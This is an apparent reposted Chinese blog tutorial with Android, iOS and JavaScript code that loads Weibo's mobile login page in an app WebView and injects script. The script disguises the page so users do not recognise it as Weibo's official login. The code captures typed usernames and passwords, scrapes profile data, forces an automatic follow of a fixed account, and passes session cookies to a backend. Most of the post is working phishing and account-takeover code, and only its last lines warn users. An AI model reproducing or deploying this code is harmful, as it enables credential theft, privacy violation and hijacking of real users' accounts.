app端用户信息自动获取--微博

标签: 安全 大数据 网页爬虫 ios android | 发表时间:2018-02-07 14:24 | 作者:zgbgx
出处:https://segmentfault.com/blogs

github地址

项目目的

在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号。

传统爬虫模式的局限

传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择selenium,性能更无法保证。同时,对于个人账户,安全措施越来越严,使用代理ip进行操作,很容易造成异地登录等问题,代理ip也很可能在全网被重复使用的情况下,被封杀,频繁的代理ip切换也会带来需要二次登录等问题。
所以这两年年来,发现市面上越来越多的提供sdk方式的数据提供商,经过抓包及反编译sdk,发现其大多数使用webview载入第三方页面的方式完成登录,有的在登录完成之后,获取cookie传送到后端完成爬取,有的直接在app内完成所需信息的收集。

登录

这是微博移动端登录页
weibo原移动端登录页.png
首先使用JavaScript串改当前页面元素,让用户没法意识到这是微博官方的登录页。

载入页面

android

  webView.loadUrl(LOGINPAGEURL);

iOS

  [self requestUrl:self.loginPageUrl];
//请求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}

js代码注入

首先我们注入js代码到app的webview中
android

  private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +
                    "var parent = document.getElementsByTagName('head').item(0);" +
                    "var script = document.createElement('script');" +
                    "script.type = 'text/javascript';" +
                    "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
                    "parent.appendChild(script)" +
                    "})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }

iOS

  //注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                     var parent = document.getElementsByTagName('head').item(0);\
                     var script = document.createElement('script');\
                     script.type = 'text/javascript';\
                     script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
}

我们都采用读取js文件,然后base64编码后,使用window.atob把其做为一个脚本注入到当前页面(注意:window.atob处理中文编码后会得到的编码不正确,需要使用ecodeURIComponent escape来进行正确的校正。)
在这里已经使用了app端,调用js的方法来创建元素。

app端调用js方法

android端:

  webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });

ios端:

  [self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];

这两个方法可以获取返回值,正因为如此,可以使用js提取页面信息后,返回给webview,然后收集信息完成之后,汇总进行通信。

js串改页面

  //串改页面元素,让用户以为是授权登录
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="请输入用户名";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="请进行用户授权";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改页面元素,使之看起来不会让人发觉这是weibo官方的页面。
修改后的页面如图:
修改后登录页面.png

串改登录点击事件,获取用户名密码

  selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同时串改登录点击按钮,通过js调用app webview的方法,把用户名和密码传递给app webview 完成信息收集。

js调用webview的方法

android端:

  // js代码
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代码
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }

android通过实现一个@JavaScriptInterface接口,把这个方法添加类添加到webview的浏览器内核之上,当调用这个方法时,会触发android端的调用。
ios端:

  //js代码
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代码
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}

ios方式,实现方式与此类似,不过由于我对oc以及ios开发不熟悉,代码运行不符合期望,希望专业的能指正。

个人信息获取

直接提取页面的难点

webview这个组件,无论是在android端 onPageFinished方法还是ios端的didFinishNavigation方法,都无法正确判定页面是否加载完全。所以对于很多页面,还是选择走接口

请求接口

本项目中,获取用户自己的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,需要仔细抓包获取
抓包1.png
仔细分析 “我”这个标签下的请求情况,发现 https://m.weibo.cn/home/me?fo...,通过这个请求,获取核心参数,然后,获取用户的微博 关注 粉丝的预览页面。
然后通过

  JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))

获取json字符串,并传到app端进行解析。
解析及多次请求的逻辑

请求页面

也有页面,如个人资料,页面较简单,可以使用js提取

js代码

  function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='输入博客地址'){
    blog='未填写';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ帐号'){
    qq="未填写";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}

由于webview不支持 $x 的xpath写法,为了方便,使用原生的XPathEvaluator, 实现了特定的提取。

  function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//选取子节点
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}

自动关注用户

由于个人微博页面 onPageFinished与didFinishNavigation这两个方法无法判定页面是否加载完全,
为了解决这个问题,在android端,使用拦截url,判定页面加载图片的数量来确定,是否,加载完全

  //由于页面的正确加载onPageFinieshed和onProgressChanged都不能正确判定,所以选择在加载多张图片后,判定页面加载完成。
            //在这样的情况下,自动点击元素,完成自动关注用户。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }

js 自动点击

  function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}

在ios端,使用访问接口的方式
抓包2.png
除了目标用户的id外,还有一个st字符串,通过chrome的search,定位,然后通过js提取

  function getSt(){
  return config['st'];
}

然后构造post,请求,完成关注

  - (void) autoFocus:(NSString*) st{
    //Wkwebview采用js模拟完成表单提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                     var form = document.createElement(\"form\"); \
                     form.setAttribute(\"method\", method); \
                     form.setAttribute(\"action\", path); \
                     for(var key in params) { \
                     if(params.hasOwnProperty(key)) { \
                     var hiddenField = document.createElement(\"input\");\
                     hiddenField.setAttribute(\"type\", \"hidden\");\
                     hiddenField.setAttribute(\"name\", key);\
                     hiddenField.setAttribute(\"value\", params[key]);\
                     form.appendChild(hiddenField);\
                     }\
                     }\
                     document.body.appendChild(form);\
                     form.submit();\
                     }\
                     post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}

ios WkWebview没有post请求,接口,所以构造一个表单提交,完成post请求。
完成,一个自动关注,当然,构造一个用户id的列表,很简单就可以实现自动关注多个用户。

关于cookie

如果需要爬取的数据量大,可以选择爬取少量关键信息后,把cookie传到后端处理
android 端 cookie处理

  CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 

通过cookieManage对象可以获取cookie字符串,传送到后端,继续爬取

ios端cookie处理

  NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

处理方式与android端类似。

总结

对于数据工程师来说,webview有点类似于selenium,但是运行在服务端的selenium,有太多的局限性。webview的在客户端运行,就像一个用户就是一台肉机。
以webview为基础,使用app收集信息加以利用,现阶段大多数人都还没意识到,但是,市场上的产品已经越来越多,特别是那些对数据有特殊需要的各种金融机构。
对于普通用户来说,不要轻易在一个app上登录第三方账户,信息泄露,财产损失,在按下登录或者本例中的假装授权后,都是不可避免的。

相关 [app 用户 信息] 推荐:

app端用户信息自动获取--微博

- - SegmentFault 最新的文章
在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户授权登录后,获取用户关键信息,并完成自动关注一个账号. 传统爬虫模式,让用户在客户端在输入账号密码,然后传送到后端进行登录,爬取信息,这种方式将要面对各种人机验证措施,加密方法复杂的情况下,还得选择selenium,性能更无法保证.

360全部APP被苹果一夜下架!据说因为窃取用户信息,苹果总部发飙!

- - 墙外楼
360旗下全部APP被apple kill掉.   昨天在做APP Store调研的时候有个惊人的发现,360旗下的APP全部,没错,是全部,被 苹果kill,下架了. 一、2号360 APP全部下架,已经4天多了. 呵呵,不完全统计,包括以下几款:360手机卫士、360口信、360浏览器HD、360电池医 生、360安全备份、360团购HD.

[数据]用户卸载APP的原因

- - 曉生
数据分析结果显示,42%的用户会因为不喜欢界面的设计而卸载APP. 现在市场上已经不缺乏优秀的APP,要想留住用户,必须重视界面视觉和交互设计,否则用户会去寻找替代品. 另外,还要其他6个卸载原因:. 68%因为注册登录复杂,需要注册登录的APP尤其要注意. 48%因为程度不稳定,崩溃和闪退. 29%的用户选择了烦人的广告.

读图:警惕app下载时的信息许可要求

- - CocoaChina移动观察
文/Dan Rowinski. 当用户从 Android Google Play下载应用时,系统会提示是否允许获取手机相关信息,大部分用户并未对此特别留心. 不过,未经审核检验的 app可公开用户的设备信息,向用户推送垃圾邮件以及恶意软件. 一款Android app可以发送124种不同的信息许可要求,加州大学伯克利分校电气工程和计算机科学系2月份的一份市场调研显示 33%的Android app需要获取用户大量信息, 97%的用户并不清楚app许可的用途.

都市圈推出实时公交信息查询App

- kill - 分享网络2.0
都市圈实时公交 是一款能够随时随地了解公交到站情况,同时进行公交查询、线路查询、站点查询的生活便民应用,解决白领们坐车难的问题. 实时公交 是一款能够随时随地了解公交到站情况的App,它由都市圈的团队开发并与近期上架,其最大的功能点是能够解决和帮助到白领们坐车难的问题;用户可以通过手机查询公交车离乘车站还有几站的实时数据,方便用户随时随地查获知车è.

用 Google Plus Email App 扩展在邮件里插入你的 Google+ 信息流

- Zoe - 谷奥——探寻谷歌的奥秘
WiseStamp是一家专门鼓捣邮件签名的创业公司,他们最新发布了G+邮件应用扩展,同时支持Chrome和Firefox,安装之后即可在你发出的邮件里嵌入Google+的最新信息流(如上图). 如果你以前有安装过他们的 WiseStamp扩展,那么不用单独下载,自动升级即可,因为里面已经内置了这个功能.

一个3000万日活跃用户App的真实数据

- - 鲁塔弗的博客
前天和朋友聊了一会,他担任某App的技术负责人,得到一些数据如下. 日活跃用户3000万(DAU是按单天计算),其中Android用户和ios用户的比例是9:1,这个比例有点惊人. 说明业内软文水分太大,很多宣称ios有上千万用户的都是吹牛b. ios获取用户成本太高,简单折算用户获取成本是android用户成本的9倍,特别是免费应用,地主家都也没有余粮,大家都不敢怎么砸钱.

如何利用新闻APP培养用户粘度

- - 钛媒体网
近一百多年来,总有一些公司很幸运地、有意识或者无意识地站在技术革命的浪尖之上. 一旦处在了那个位置,即使不做任何事,也可以随着波浪顺顺当当地向前漂个十年甚至更长的时间. 在这十几年间,它们代表着科技的浪潮,直到下一波浪潮的来临. (引自吴军的《浪潮之巅》). 图为艾瑞网发布的报告中显示的PC和移动互联网趋势.

App设计的四项基本原则:用户都属猴

- - 创业家杂志社
创业家网  文: @Fanlee  天使湾创投投资总监. 今天手机空间又快不够,又要清理App,然后一个个看过去,看先杀谁,于是出来3个问题:1、这么多App如果真非要保留,对我个人哪些必需;2、这么多App哪些SB的让人骂娘,他们的共性在哪里,怎么避免成为用户心目中SB的代名词?;3、App产品哲学,也是所有产品服务的设计哲学究竟是什么?.

App的用户价值与商业价值

- - 坏脾气的小肥
互联网有句老话,只要你能实现用户价值,就一定能带来商业价值. 这个观点发源自PC统治互联网的时代,如今PC端的用户停留时间下降,用户行为趋于稳定保守,移动端则蒸蒸日上. 而PC与移动端的区别之一是,PC端的用户流动是自由的,通过超链接,从一个网站到另一个网站到另一个网站……但你可以从一个App到另一个App到另一个App吗.